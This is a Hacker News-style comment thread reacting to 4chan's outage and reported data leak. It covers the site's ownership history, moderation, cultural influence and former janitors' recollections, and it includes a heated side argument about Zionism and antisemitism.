How this applies to 4chan is vague since 4chan isn't exactly a growth platform. Moot's VC ownership was his mom's credit card[0] and his exit was "panic selling to hiroyuki because Hollywood actors' lawyers are breathing down my neck". Hiroyuki himself is incredibly sketchy. As far as I can tell, he bought 4chan mainly because 2channel got rugpulled by his domain registrar[1], after 2channel also had a massive data breach. Funny how history repeats.
Anyway, imageboard ownership being a fractal mirror of the incestuous bullshit going on in big tech and far-right politics aside, once a social network or forum becomes big enough to be 'known', it tends to stick, because moving off those platforms is a collective action problem. So between you holding your friends mutually hostage and the drama from letting the dumbest idiots post on your site, you've created a powerfully addictive socialization substitute that can be manipulated to make people do whatever. Quality posters and value don't matter; in fact, once you're established you want the quality level to go down.
Digg collapsed because they replaced the entire website with something completely different. They didn't fail to moderate the community, they just shut it down. It'd be like if tomorrow Facebook said "we're not doing user posts anymore, we're just going to have a bunch of comment sections for videos from legacy media outfits". Everyone would leave immediately because there's no more mutual-hostage-taking by your friends.
[0] This is not to be confused with Canvas, a similar imageboard platform also started by Moot that lasted like a year.
[1] If you believe the guy who stole the domain, the data breach rendered 2channel unable to pay domain hosting fees. That being said, the guy who stole the domain is also the owner of 8chan and a huge QAnon nutter, if not Q himself, and stealing your client's website because they ran out of money is an extremely malicious move.
As far as anyone knows, hiroyuki got the money to buy 4chan from Good Smile Company. Yes, the people who made Nendoroids.
Time limit for a reply.
If you could only reply once in a 20 minutes, that wouldn't hinder most thoughtful users, but for user that are quick to draw a reply it's a detterenr.
Autoadmit is a message board that required .edu to register and ended up with a pretty similar culture (though with an older userbase given the initial focus on law school admissions)
Yeah, after 2015 it became impossible to go to any of the boards if you weren’t a pol poster. They made it their mission to spread their vile shit everywhere.
Meh, /pol/ leaks but people also gets called out for it all the time. Overall I'd say containment style moderation like the one 4chan has works pretty well if you're looking to host "discussion" of a wide varity of topics.
It’s not a terrible theory. You could argue that other websites banning their containment communities caused a spillover effect into the wider internet as well.
Gamergate and Donald Trump was a 4-6 year period depending on where you put the needle. There were 10 years before it and now close to 5 years after it. The people who continue to hammer about it are just announcing that they don't understand the site and are complaining about ancient history. The most popular board right now is the video game generals board, and second place belongs to the regular video games board.
The site was markedly different before and after those events. /pol/ didn't exist before those events and aggressive alt-right rants didn't constantly leak into every other board from it (and get treated with kid gloves or be allowed by mods, who were specifically instructed to do so).
> Let me be bold: transphobia is counter-culture nowadays
No it's not. It's as mainstream as you get. One of the two major parties ran explicitly on a platform of transphobia ("keep men out of women's bathroom", "your daughter is being beaten up in sports by a man"). You can't call it counter-culture anymore.
Transphobia has been a majority cultural view throughout every culture based on the Abrahamic religions and their strict patriarchal hierarchies. Even given that the nature of gender roles change over time, and concepts like "homosexuality", "heterosexuality" and "transgender" being modern inventions, transgressing those roles has almost always been taboo.
No, not really. The "groomer" panic took place during the Biden years, with plenty of states passing anti-trans legislation and banning pro-trans books from libraries. The Biden administration did not reverse the widespread cultural hatred, discrimination and violence against trans people in the US in any meaningful sense. And it's honestly weird that you would think it even could have, given where we are now politically.
The premise that during the Biden years transgender culture was the dominant culture in America is just plainly ridiculous, as is the implication that only transgender identity mattered, culturally, during those years. Again, these were the years when transphobia began to mainstream and become codified into legislation and "antiwoke" and "anti-DEI" culture. It was never dominant, it only just started to become visible enough to really piss people off (similar to gay culture in the 1980s.)
Joe Biden was saying he had the back of Trans people in his State of the Union Address, trans kids especially.
His white House was holding Transgender day of visibility and tweeting about transgender issues
His Department of Education Secretary was anything but transphobic
I feel too many people conflate /pol/ with the whole website.
I believe that's fair. Sure, it's "a different board" but it's just another URL on the same domain and same administrator, just different janitors. So it is really the part of the whole website. I know that 99% of people on 4chan disagree with me because they do not wish to be associated with /pol/ /b/ /gif/ but if they wanted to disassociate themselves with those boards then they should be on an entirely different domain without 4chan in name. polchan perhaps.
They do not. Reddit is a big corporate social media site and largely gets a pass in online discourse despite the horrible communities that do and have existed there.
I don't know. I've never created an account there. In it's early days it just seemed like they were trying to make a platform that could be monetized some day so I never bothered. I assumed incorrectly that it would just fade away.
If that is the case that might explain why so many on 4chan feel that different URL's are different sites. Most of the current members seemed to have shown up from Reddit. Most of the original members grew up and left, myself excluded. I still visit from time to time but don't stick around long as most threads and posters are obviously just 4chan-GPT and people being tricked into replying to it.
There are certainly overlapping circles between Reddit, 4chan and HN. 4chan people talk about and make fun of members of this site all the time. They also make fun of Reddit but don't seem to call out specific people on it.
The take on 4chan on here is super intriguing. I always felt that the current social media/doomscroll/memesharing landscape which has become so common worldwide is indiscernable and in some ways worse than 4chan. It feels like 4chan left it's homepage and went worldwide sometime in the early 2010s when iPhone-style phone use became more commonplace.
I remember that 4chan users had more honor than users on the internet today. One example would be 4Chan's "Not your personal army" mentality vs. the widespread doxxing/"call their place of employment!" witch hunts, driven by huge accounts on IG/Tiktok/etc, that hit normal people daily.
The modern social media landscape has become far more hectic, harmful, and downright scary than 4chan. Dodging explicit imagery is harder on Instagram's explore page than on 4chan, and the widespread popularization of OF creators has zero bounds across the socials. DOXXING is no longer frowned upon and now commonplace. And memes have become less unique and funny and more commoditized.
> 4Chan's "Not your personal army" mentality vs. the widespread doxxing/"call their place of employment!" witch hunts
That's too generous. "Not your personal army" started because 4chan had a well-earned reputation for harassment - usually raiding other web sites, but often targeting individual people who caught their attention for one reason or another.
The "not your personal army" slogan came about because people who were very aware of this reputation were showing up, hoping to make a web site or person they disliked the next target. That got annoying fast, hence they told those people to go away.
It wasn't a moral stance against target harassment - far from it. It was a stance that the group mind will choose the next target when they feel like it - not because some rando is mad at their ex or something
"Not your personal army" goes father then not doxxing. It's a rejection of any attempt to imagine a community of strangers, united by hatred of a scapegoat.
If someone rallied a hate-mob on 4chan, though, how would people know?
Since 4chan overtly resists it, it'd rapidly move off of there, but it's still a great place to find like-minded folks that'd follow someone to another server to go brigade someone.
Right, “not your personal army” was a quick way to decline to advance whatever doxx was being requested at that moment. Not an actual ethos. They regularly doxxed and swatted all sorts of people.
No it was a stock response to proposals for board/site raids from people who had lost an argument or been banned and wanted to retaliate (but without offering comedy potential). Kinda like when corporate people discovered flash mobs and tried to use them for free marketing.
My main problem with 4chan is how they talk, like the language they use. They really don't care about anyone's feelings and show a lack of empathy. Unfortunately this has been spreading to other social media as well.
Imagine how good a place it could have been if people over there talked like people on HN.
modern 4chan has a certain authentic charm to it. this is missing from most other places. you have to sift past loads of junk to get it, but you have to do that on any app to get the content you want.
with no names, likes, virality, accounts, etc there’s less focus on writing the basic filler comments. less companies trying to sell me stuff. less focus groups trying to tell me what to think. and with less censorship you end up seeing more creativity
Like it or not, 4chan was a major hub of Internet culture. Especially early on some of the best stuff on the internet happened on 4chan (and a good chunk of the worst, of course)
4chan was founded in 2003. I think reasonable people probably disagree on what constitutes the “early” internet and this is where the argument is. Google had been around for 5 years by this point and I (and I suspect many others) remained blissfully unaware of 4chan for a long time after 2003.
This is like saying death metal isn't upbeat music and therefore nothing of value is lost by censoring it. Why does 4chan have to be positive culture to be considered valuable culture?
There's a big difference between "upbeat music" and "positive culture".
"Positive" in this sense isn't being used to mean "optimistic" or "happy". It's being used to mean "healthy for the world at large".
Regardless of whether any of us agree that 4chan was a net-negative, it should be very clear that "music that doesn't have an upbeat sound or themes" is not inherently unhealthy, but "subcultures that are unhealthy for the world at large" definitionally are.
You're dismissing the entire site for a handful of events? How is 4chan unhealthy for the world, at large? It was and is a counterculture for discussing life as seen by its members.
I'm not. I'm responding to the specific exchange between you and JKCalhoun. They implied that they didn't know of any positive culture from 4chan, and you took a sharp left turn by misusing "positive"—taking a different meaning of it and comparing that against death metal music, rather than engaging with the actual meaning of what JKCalhoun had said.
I was simply helping to clarify the semantic issue at hand. I don't have enough personal knowledge of 4chan to pass judgement on it one way or another.
If you’re interested in research, the summary of controversies and harassment incidents that were worthy of the 4chan Wikipedia page(1) is over 2,000 words long and links to seven other separate Wikipedia entries, and may be a good start.
Also it is very funny that this thread seems to be multiple different posters here insisting that the user JKCalhoun is wrong for not being a fan of 4chan and that personal opinion is somehow ahistorical and in need of correction. Like the goal here is to make that person post “You guys are right I actually like that website now” ?
Are there no big list of memes on 4chan? If you took an intersection of that and list of memes in general, you should be able to derive a list and statistical summary figures for internet culture you've got from 4chan.
4chan is widely known for /b/ but it had and has much more than /b. /b was always known for its murk.
Each chan sub category tended to their own niche community and rivalry was little.
/f/ in its hayday was a wonderful creative group for Flash animations and with existent of NewGrounds made the internet fun. It's how I learnt flash and how YTMND came to be.
/dpt/ was where i did a good deal of my learning during university, and the constant /g/entoo posting taught me far more about Linux than I would have learned on my own or through uni.
/g/entoomen taught me a lot about Linux too. The desktop and home server threads also have a lot of gold, people put a lot of effort into their systems. There are even Lisp generals. I remember people attempting the advent of code together and posting progress. There was one person who used a lot of Unicode in the source code.
Just yesterday I saw a rather interesting discussion about WD HDD internals and possible ways to figure out whether they are SMR drives. Shame this hack cut it short.
/tg/ had some seriously good chess players.
There's a board for everything. People see 4chan and think everything is /pol/. If anything, it's /a/. People have been arguing over which waifu is best girl for 20 years. 20 years.
If you go look at Andreas’ old videos from 5-6 years ago you can see early versions of Serenity had some sort of shortcut or app specifically for 4chan, with the clover icon and everything.
There’s actually a number of projects that started this way though I don’t know of any that grew up to be as charming and interesting as Serenity OS. Katawa Shoujo is one, though I could definitely see people complaining about the games content. The Tox encrypted messenger is one but I’m not sure that ever went anywhere.
I think most of them, like Andreas, dropped the association with 4chan pretty soon after the project started to gain real traction.
I remember seeing maybe two other operating system projects on /g/dpt/, they didn't reach significant maturity but managed to animate some graphics on the screen. I remember seeing a bullet hell game engine written in lisp, I think it was called gnumako or something along those lines.
I might be giving 4chan too much credit but I think in your analogy it’s more akin to 80’s punk (broad subculture) than slam dancing (specific cultural phenomenon).
The way I see it, I lost interest in 4chan because I grew up and became an adult, and so did most of the Internet. We can look back and appreciate our childhood overall while also cringing at the embarrassing parts. 4chan has a lot of both good and bad memories for me and I think the broader Internet as well.
I think that's simply which generation is talking. I'm an average (oldish?) millenial and 2003 is about that sweet spot of when I cut my teeth on the web. I was online before getting my butt kicked by koreans on starcraft but I can find old posts of mine starting in those early 2000s.
Early Internet is before the Web was its main thing.
Early Web is before most netizens (remember that?) had ever heard or seen the term "blog", and much of the web was folks' "home pages" on whatever weird topic they were interested in (some were effectively "blogging", but that wasn't a term yet—"web log" might see limited use). This was the Nerd Web.
Mid-period is from the rise of "blog" to the rise of the smartphone, Google capitulating in the never-ending war on spammers and ruining itself instead, and Facebook coming about. Roughly '08 would be the end of this period. Call this the Macromedia Flash Web, perhaps.
Everything since that is the Late, or Hellscape, Web, an age dominated to an extreme degree by spam, scams, ads, astroturfing, and absolute insanity becoming normalized and spilling over into real life. This is the part that made it clear we'd have been better off never inventing any of this.
I hope you realize the irony of picking an arbitrary OS theme, something that has no correlation to the Internet in any way, as a meaningful point in the history of the Internet.
As I said it’s all arbitrary. I might pick the time around Google’s founding as the early Internet, others might pick Yahoo, others might pick anything before eternal September.
You're trying to argue that 2003 isn't the early Internet. Seems like you're trying to have your "Ackchyually..." moment right now because you didn't know 4chan existed.
No, I’m saying the Internet was already in mass adoption for the preceding decade. Talk to old timers and they’ll reminisce that the early days of the internet were great until Eternal September in 93. Others will reminisce about the days of BBS. I’m saying “early internet” is a relative term that has more to do with the person interpreting than any objective definition.
Before then, it was quite unusual to see coverage of the internet by the mainstream press (and what coverage I saw took a theoretical or "far" view, i.e., as part of a discussion of governmental policy). After then, coverage exploded.
This is an American perspective: the timing was probably different in other countries.
That’s dated 2023… am I missing something? The aesthetic did not exist in 2004. It was created in the late 2010s by juxtaposing materials from the early 2000s. This created a new style from old materials. The same way you might combine art deco motifs in new ways in the 1980s, inventing “art deco revival”.
Well, this research states that "Between 2004 and 2013, Frutiger Aero was influential in
advertising, media, stock images, cinema, gaming, and spatial design". That's page 4.
There’s no justification given or source cited. You can’t just dig up a paper somebody wrote that agrees with you—you have to actually read the paper to understand what it says and what support it gives to that position.
I see NO support for this position. No reasoning, no primary sources, no secondary sources, not even the personal experiences of the author.
I have not seen any evidence that Frutiger Aero existed before 2017, and 2017 seems like the most likely creation date to me. That’s when it was created, by combining materials from the 2000s in new ways. Call it “bricolage”, perhaps.
Addenda: if you scroll through Google Image search results for Frutiger Aero, you’ll see what looks to me like an obvious lack of actual materials from the 2000s. I see a screenshot of Windows XP, a screenshot of the Nintendo Wii home screen. Maybe a few other random screenshots of apps or web sites. As far as I can tell, Frutiger Aero was invented by taking these few materials and extrapolating a whole aesthetic movements out of it. I see a lot of artwork dated from the 2020s labeled as Frutiger Aero—that’s the true nexus of the aesthetic, Gen Z adults recreating a half-remembered image from their childhoods. Which is fine. It’s just not from 2004. Like how Vaporwave is not actually from the 1990s or 1980s, Vaporwave is from the mid-2010s. I love Vaporwave, but I know that it’s not from the past; it’s a modern remix of elements from the past.
r9k is the origin of a huge amount of modern youth culture and slang. The obsessive vanity and "looksmaxxing" and all the associated terminology comes directly out of the incel culture on that board. It is extremely mainstream now.
Many of the popular internet terms start on 4chan, and then move to reddit and the rest of the internet, and then eventually mainstream news, and 65 year olds mouths. This process takes about 3-5 years.
That's crazy. The whole "dank memes" thing and terms like based, boomer, wojak, and soy are all from channer culture. 4chan managed to brand gen Z as the "zoomer" generation. Its cultural pervasiveness is impossibly deep.
Small pedantic correction: “major hub of Internet culture” is “major subculture in English-speaking segment of Internet” (American segment?). In many other languages it was irrelevant.
I’m sure it had. It doesn’t mean it had equivalent influence. In many places people won’t name it in their top 10 cultural phenomena of Internet of that period even if they would remember it, which is far from guaranteed.
Who shoves it down someone's throat though? I can't remember the last time I used tiktok, probably 3 or 4 years ago, and I don't feel like anyone forces me to.
Vendors. Mobile phone providers, Television companies, News Corporations, Advertising companies.
I am locked out from viewing reading groups unless I have a facebook account. I can't even read reviews on Amazon without a Amazon account.
You do have the choice not to view, watch or use. And if you desire to create your own site for "social media" the uphill battle is so greatly regulated in their honour you can't due to not having the resources to do so.
Have you read the new UK rule sheet for internet websites?
How many sites do I visit where I get a Google popup asking if I want to sign in?
You mean an open-twitter clone that caters to a very niche set of individuals? A complex system to work with.
I hate the whole gimmick of 150 character messages. That's not independent like the web was once.
Discord makes you pay to upload videos, sounds and those were all existing on MSN, Yahoo, A!M for free.
Everyone at my school knew of NewsGrounds, mySpace, BeBo, LiveJournal. Me and my friends had hosted ProBoards forums where we used to discuss stuff. You can't even do that according to the new Ofcom laws.
> "You mean an open-twitter clone that caters to a very niche set of individuals?"
It's not just one instance and not even one frontend existing for what can be described as "fediverse". Decentralization is the whole point.
> "a very niche set of individuals?"
Everything depends on the instance you're using. Some of them, like mastodon.social, are very active, others are not.
> "I hate the whole gimmick of 150 character messages"
Find a better instance. On the one I use it's 2k characters limit.
> "That's not independent web like it was."
Yes, because it's a whole new level of independence. NewGrounds, Myspace and everything you mentioned are centralized platforms, which is practically vendor lock-in, because you're dependent on just one vendor for everything you do on these platforms, while on fediverse, you aren't. Instances are completely (except for showing posts from one another) independent from each other - there's no central "authority" controlling all of them like there would be on a centralized platform. Thousands of them exist for every frontend imaginable, and you can create one yourself.
Uh, yes? What kind of functions are you trying to attend? If you go to C3 and show people your Facebook account, you will rightfully be mocked (unless it's an admin account you're not supposed to have).
You better believe 4chan is as much of a government space as those other social media sites are. Just because you don't have to give three forms of ID and a mobile phone number to post doesn't mean they're not involved.
It's an illusion, a very believable one in an internet where billionaires try to goad you to include your name and address with every thing you post. I don't see why people care so much about Doxxing when every social media company makes them do it for free.
I'd hardly call it the "old internet". It is very niche, and has not been around that long really - like what 2003 or something? Nothing compared to e.g. Geocities which was early-mid 90s IIRC which I'd argue had more relevance to people than 4chan.
"Old Internet" doesn't have a very defined meaning, but I think it has more to do with design and functionality than a hard date. While I don't think relevance matters, 4chan is much more relevant than you think. Having a niche is part of the old Internet. Websites used to be niche, but deep, instead of websites like Wikipedia, which are broad and shallow (compare the Castlevania dungeon [0] to the Wikipedia article for Castlevania, for example). Then compare 4chan's limited number of boards with reddit's endless subs. 4chan's design is early web 2.0, doesn't require you create an account, allows (pseudo) anonymous posting, content is mostly unfiltered, unmonetized, free & thought of as ephemeral, etc.
> 4chan's design is early web 2.0, doesn't require you create an account, allows (pseudo) anonymous posting, content is mostly unfiltered, unmonetized, free & thought of as ephemeral, etc.
That is hardly unique. There are any number of phpbb (and other) boards that allow mostly the same that were/are/will continue to be the same. The only difference is the clientele and noteriaty, but I'd argue 4chan is basically the same thing as somethingawful is/was in that regard. People act like 4chan was this ground-breaking thing but it was just one of many many similar boards.
Also for 4chan, you'd only go to 4chan to go to 4chan. People went to geocities and xoom and angelfire and all the other old internet things for niche website content from individuals, not because of the site that hosted it. It's like going to a bar to chat vs going to a library to study: going to the bar/4chan is an undeniable part of the culture, but let's not pretend it is anything significantly different amongst a constellation of other chat/forum sites (somethingawful, fark, ebaumsworld, discord, IRC etc etc etc)
Geocities was the place to create and visit homepages for a large percentage of people using the internet in the 90s. You can see its influence in games such as Hypnospace Outlaw and modern hosts like Neocities.
> Isn't it a running joke that the Jannies don't get paid?
You're think about reddit and why it is the way it is from an editorial perspective and what kind of people have the time to mods 100+ subs for free...
But that ceased to be true long ago. While some of the supermods aren't paid by reddit directly, they might be paid by other orgs to mod and influence reddit, corporate or 'grass root'...
Some others simply hijack subs to sell their own products.
"Jannies" (janitors) are pseduo-mods on 4chan (the subject of the linked thread) who clean up posts and do other work, for free. Actual 4chan mods are paid.
Was part of it. As somebody who has been trapped there since 2004, I'd say it evolved into a part of the normal internet between 2010 and 2016 (i.e. it had already fully transformed before Trump's first term), where "normal internet" means being infested with uncle-on-Facebook-tier political posts, "jokes" where the punchline is "I hate my political enemies", etc. Creative irreverence was replaced with regular childishness.
Mostly because, as more people came online, they mistook offensive humor for conservatism; and thought "counter-culture" meant "being opposed to the political party currently in power", rather than "being opposed to political parties".
Considering that the people posting this "creative irreverence" were the same guys calling you a "stupid f*gg*t n*gger piece of sh*t" on Halo 2/3 and CS when they got noscoped from across the map or whatever, "It's just a joke" has always been somewhat suspect. It would be wrong to say that there was no element of tongue-in-cheek-iness and hyperbole, of course. It just wasn't completely innocent, broadly speaking.
Of course, in a post-Bioshock Infinite world, there's really no excuse for not grokking how time and distance from the origins of a cultural behavior pattern can warp even well-meaning notions that aren't regularly re-examined and tuned to align the intention with the zeitgeist. If the Sarah Silverman-esque posters ever looked up and realized, "Oh, they don't know it's a joke, they're ACTUALLY Nazis," it was too late to shift things back. (Unless you were in a Boondocks thread on /co/, in which case correction was freely forthcoming.)
Probably didn't help that at least one mod wanted 4chan to become more racist, on purpose.
Something happened in the post-2010 times along with the Tea Party, and offensive humor - especially overt racism - became a mainstream part of conservativism, all the way to the White House.
> "jokes" where the punchline is "I hate my political enemies"
Hence the laughter in the White House at refusing to follow the court order to return their political enemies from the overseas prison.
4chan may have died, but Trump is more the first 4chan President than Howard Dean was the first "internet candidate", and especially Musk the Twitter Presidential Vizir is the heir to this culture.
Is it considered part of it? From my understanding, the culture has changed significantly and post get auto deleted eventually, so it’s not a good archive either. The only thing old about it is it’s web design
Posting on 4chan just kept becoming increasingly user hostile, especially for casual users, you had to be really determined to post something: posts started requiring 24 hour email verification, and after that you had to wait ~10 minutes before being allowed to post, and finally you had to complete a nearly impossible captcha which could lock you out from posting for an undetermined amount of time just for failing. It became apparent that the owners were pushing the gold pass pretty damn hard, and it's advertised on literally every board page.
Not sure what this random unknown website has to do with 4chan. It's similar only insofar as both things let you post. Soj requires a sign-up so no anon posting at all, and the community structure is a pretty clear rip-off of Reddit with /p/[sub] instead of /r/[sub]
every board had it's own independent archiving service after a while, so board culture ended up stickier than the original design. there's some interesting stuff in there
But really, 4chan-style bullshit took over the rest of the internet. At least in the old internet, it was self contained there. If someone spouted nonsense they read on 4chan, you could easily dismiss them as a crank. Now everyone is posting and reposting bullshit on a multitude of microblogging shitsites.
The initial leaker is most likely not the same parties as the ones tying email addresses and usernames to people's "real identities", if you look at the thread where the leak was announced.
Say what you will about 4chan but I am concerned for the team managing it - them and their close ones are certainly going to be exposed to a whole lot of viciousness soon :(
Most boards on 4chan, like the origami board, food and cooking, pets and animals, retro gaming, toys, etc are relatively harmless and are just a different way to participate in discussions than using discord or reddit.
The staff has cut down a lot on organized harassment that 4chan was notorious for in recent years. Those people migrated to private discords, telegrams, and other forums (like kiwi farms, soy party, etc). Ex, #gamergate was mostly an 8chan, Twitter, reddit, and IRC phenomenon - #gg people would get banned if they tried posting about it on 4chan
They certainly don’t get to claim any kind of moral high ground, but as a bystander I can feel empathy for someone hit by a drunk driver, even if the victim had driven drunk before in the past.
Any increase in human suffering is unfortunate, regardless of one’s take on just desserts or karma or whatever.
Do you think that 4chan is going to disappear forever for this? Just wait a bit and it will be back.
Also where did you see that they are leaking home addresses and work contact info? I think they just leaked the emails (I don't understand why home addresses and work contact info should be present in the 4chan database, everyone moderating the site for free).
Every website that allows content uploaded by users have moderators, you can be absolutist as you want but you can't allow CP for example, you also need to handle DMCA (unless you live in a country that couldn't care less).
No, it's mostly a cancer survivors support group. Every third post was about cancer, what is causing it, and frank expressions of helplessness in the face of it.
About half the posts were pornography, racist rants, or memes making fun of someone, often for being mentally handicapped.
Five percent was accusing the moderators of sleeping on the job.
Edit: I love that people are down-voting this, it really shows how much people like to have an opinion even while they can't recognize even the most obvious things that requires any information about the subject.
There are no true free speech absolutist sites on the open internet. To run a site under free speech absolutist principles would require allowing and refusing to moderate illegal content.
People like to confuse "free speech absolutism" for "tolerating right-wing speech" because the free speech absolutist narrative has been pushed by right-wing accelerationists, but every site has its limits, even 4chan.
And you don't even need to go that far. Off-topic posts could result in a swift 3-day ban. There were even words and phrases that could get you autobanned the second you hit submit.
It's not so much that we lament the old internet, we lament that the new internet cannot be built because incumbents like google have distorted the playing field with shitty algorithmic SEO practices-- which really has nothing to do with 4chan at all.
As bad as Trump is, most of the opposition to him is just tribalism. To paraphrase Kurt Vonnegut, about 10% of people are always cruel, 10% are always kind, and 80% are in play. From your comment I think you would fit right in on 4chan since you seem to advocate anonymously destroying people that you don't know, without any process, if you vaguely (without really knowing anything about it or bothering to check) think they have crossed you in some way.
Do you think they voted for Kamala? One more contradiction won't make a difference to nazis...
Also Hitler was a Zionist too [1]. Israel's goal of housing every Jews on Earth somehow aligns with antisemites of the world wanting to get rid of them.
I think humanity is really amazing. If someone is anti-Nazi, and also anti-Israel, they manage to find a way to believe that Jews are Nazis. There's no level of cognitive dissonance that could slow you down, is there?
The Nazis were NOT in favor of a Jewish state. They wanted to be able to say they tried this, they tried that, so it's not their fault they had to do a holocaust. They wanted justification. You don't actually advocate in favor of a group while simultaneously building camps to murder them. Although, I suspect you probably have some 'opinions' regarding the details of the holocaust.
Nice try, but no cognitive dissonance here. My previous comment proved Nazis can also be Zionists, and you would know it if you deigned open the link I joined to it.
I never claimed that Jews are Nazis, in fact, America's Zionists are mostly Christian nationalists, seeking to get rid of Jews on their national territory. And like the German Nazis before them, they find common ground with the Zionist project of moving all Jews to an ad-hoc state in the Middle East.
Unlike them, I do not believe in the "Jewish Question" (prime topic on 4chan btw) and I am perfectly fine with Jews living in my country, sharing my bread, etc.
My condemnation of Isreal only concerns itself with the way Palestinians have been treated since the creation of the state: systematically depossesed of their lands and sometimes outright eliminated. Note that "Jews" (as if they were a singular entity) aren't at the origin of the project. That is to be found in the League of Nations [1].
Please refrain from conflating anti-zionism with anti-semitism in the future, and of labelling everyone you disagree with as suffering from "cognitive dissonance".
When someone robs a bank, and puts a gun in the face of the teller, they are both in agreement. Both of them want to get the money out of the drawer and into the bag as quickly as possible. The bank robber is not aligned with the teller, they aren't allies on this topic, they're not on the same side, the fact that the teller wants to do the same thing the bank robber wants is because of the threat of murder. The teller never considered that it would be a good idea to put all the money in a sack until the gun was put in his face.
The idea that you can separate Zionism from a thousand years of pogroms and genocide is ridiculous and stupid, and the idea that Nazis are somehow 'on the side of' any Jews, in any scenario, is ridiculous and stupid. Maybe, just maybe, if you didn't murder and isolate and oppress Jews for a thousand years they wouldn't have felt the need to find a place away from you. Maybe if you don't put a gun in their face bank tellers won't start wanting to put all the money in a pillow case.
> America's Zionists are mostly Christian nationalists
I assume you are Polish or something? Hungarian? Ukrainian? The combination of comfortable, casual antisemitism, belief in silly antisemitic conspiracy theories, and lack of knowledge about the US makes me think so. Most US Zionists are Jews, because we didn't cook all the Jews who live here in big ovens. Secondarily a lot of Evangelical Christians are pro Israel due to a combination of cultural and weird religious reasons (they think Israel has to be a Jewish state so they will rebuild Solomon's Temple so that Jesus has a place to land when he comes back). There is very little (so little you would struggle to find it) antisemetic Christian Nationalist sentiment in the US compared to pro-jewish Evangelical Christian sentiment. Evangelical Christians don't want Jews to leave the country or move to Israel, the concept that this is even a valid opinion would be completely foreign.
> Unlike them, I do not believe in the "Jewish Question" (prime topic on 4chan btw) and I am perfectly fine with Jews living in my country, sharing my bread, etc.
It's their country too, right? That's what you meant? Your careful veneer is slipping a little here.
I never pretended that Nazi Germany was an ally of Israel or Jews or whatever. Simply that at some point in history, Nazis and Zionists shared a single interest. Do you debate this too?
> if you didn't murder and isolate and oppress Jews for a thousand years they wouldn't have felt the need to find a place away from you.
Wtf is wrong with you? Why use "you" as if I was the one committing those atrocities?
Do you not believe Jews can live in Europe? That colonizing Gaza is made justified by past genocide, necessary even? Perhaps you believe in the "Jewish Question" and think Jews can't cohexist around other populations? I do not.
> I assume you are Polish or something? Hungarian? Ukrainian?
No. Stop assuming.
> It's their country too, right? That's what you meant?
Of course it's what I meant you slimey dishonest idiot. I do not care about the religion/ethnicity/gender of my fellow citizens. What do you not understand in "I don't believe in the Jewish Question"?
Let me reiterate my position once and for all, so you can stop baselessly attacking me. Israel is currently committing atrocities in Gaza, and for that reason alone I am condemning it.
I do not believe in the "Jewish Question", this means I don't think having Jewish citizens in my country is an issue. Same thing as for any other "group".
Therefore, I don't believe the Zionist project was necessary in the first place. That said, I am obviously not advocating for the disbanding of Israel and a "return". That would cause tremendous harm for no good reason. What I want is for the colonization of Gaza to stop, is that too much to ask without being labelled a rabid anti-semite?
You can dress it up however you want, but your pathological need to insist that Nazis were pro-zionism is not historically accurate and it is frankly insulting. From the link you posted: "In the post-war period, the agreement has sometimes been cited by anti-Zionists, anti-Semites, and critics of Israel (Ken Livingstone, Lyndon LaRouche, Louis Farrakhan, Mark Weber,[28] Joseph Massad,[29] Mahmoud Abbas[30]) as evidence of Nazi support for Zionism[31] or Zionist collaboration with the Nazis.[32]"
What kind of official association could one have with 4chan? 4chan was formative for my early connection to the internet, and I'm really curious what the organization behind it looked like. Was it professionally driven, or just some random guy mailing checks? stuff like that.
I lied about my age and was given janitor access in the mid 2000s. There was a special /j/ board to coordinate on, but it broke relatively early, and you mostly had to hang out in the #janiteam channel on Rizon. I think almost everybody else was underage as well. There was a minimal web overlay that let you delete/escalate posts. You couldn't see people's IPs, but you could see how many outstanding ban requests they had. These numbers helped me deduce that many boards' most infamous personalities were all the same guy.
We were all offered the chance to become mods in 2010, but moot wanted to see our faces on a Skype call. I thought that was a step too far and just gradually stopped caring after that. Seems like I made the right choice.
On the whole it was barely held together technically and organisationally, mostly run by moot's personal friends, and fun all around. Things were far less serious then.
Sounds about like what I would have expected as a (also underage) user at the time. The suspicion was always that most of the memorable joke chains were probably just one guy self-replying (I always suspected that was the case for the hunter2 meme specifically). It didn't really matter, it was funny anyway.
Thanks for taking the time to reply, and thanks for the fun back then :)
> These numbers helped me deduce that many boards' most infamous personalities were all the same guy.
Simultaneously one of the best and worst parts about the website was how much a single person could create influence. Some guy spamposting "30-year old boomer" memes eventually turned boomer and zoomer into mainstream terminology.
I remember a long time ago, a general that I would frequent attracted the attention of a lunatic who would frequently try to ruin threads by spam posting corrupted unloadable images until the bumpcap was reached. It made a successful thread with no incidents feel like a moment of success.
So you were able to find the leak? Because I see reports that it was hacked repeated as fact everywhere on Daily Mail-tier reliable news websites and Reddit posts, but they are all based on “rumors on social media go about that there was a leak” but I've not been able to find the actual leak searching for it. Obviously not many people want to link it but it's also weird that so many people claim to have so easily been able to find it when I cannot.
Finally, I was there and using it when the website went down and this did not resemble an actual hack but technical issues. First there were a couple of hours where the website was up but no posts went through for anyone except occasionally when a new threat was bumped, mirroring the normal pattern of downtime issues that sometimes occur and then it just went down completely. This doesn't really resemble how a hack plays out but looks more like technical issues to me.
Even now, going to the front page, it loads for me, except very slowly and incompletely. This does not resemble a hack but technical issues.
Well, so you say, but every single news website that I can find willing to say something on the matter is either The Daily Mail and similar things that also say they based their information on leaks on “social media rumors” or more reputable websites that also say it's a rumor that there's a leak. One would assume if it be so easily found and I'm so incompetent that these news websites could've found it themselves and come with more certain claims.
I'm saying I searched and I couldn't find it but what I did find was many news websites that reported it but said they couldn't confirm these rumors themselves and said they were just that, rumors. I found threads about it on other anonymous textboards where people would have no compunction to post the links and yet they didn't. The news sites don't just say “We obviously won't post the links.” but “We couldn't confirm these rumors.”.
Edit: I finally found one news website willing to actually confirm it though. The Daily Dot claims to have accessed the leaked information and verified it for itself.
Click the HN headline, click the 1st external reference, click the 1st thread. The first post is the leaker speaking. Beware that website, the thread, and 4chan itself, are all, at best, in a legal grey area.
There's a KnowYourMeme [0] post with additional details and context. Most interesting to me is finding out that there' s a word filer / transformer, so SMH becomes BAKA and TBH becomes DESU, as two examples.
The term “weeaboo” as a term for western anime fans only came about because it was what the word “wapanese” filtered to. It was originally a nonsense work made up in a Perry Bible Fellowship comic.
Rip 4chan. For all the bad it did, 4chan also made at least one real contribution to science [1], specifically to the study of superpermutations (aka the Haruhi problem), which was cited by genuine academics. We should try to remember it by that.
4chan is a reflection of the depraved, extreme side of humanity. Twitter has taken on the mantle of 'asshole of the internet', but I think the rotten apples post in both.
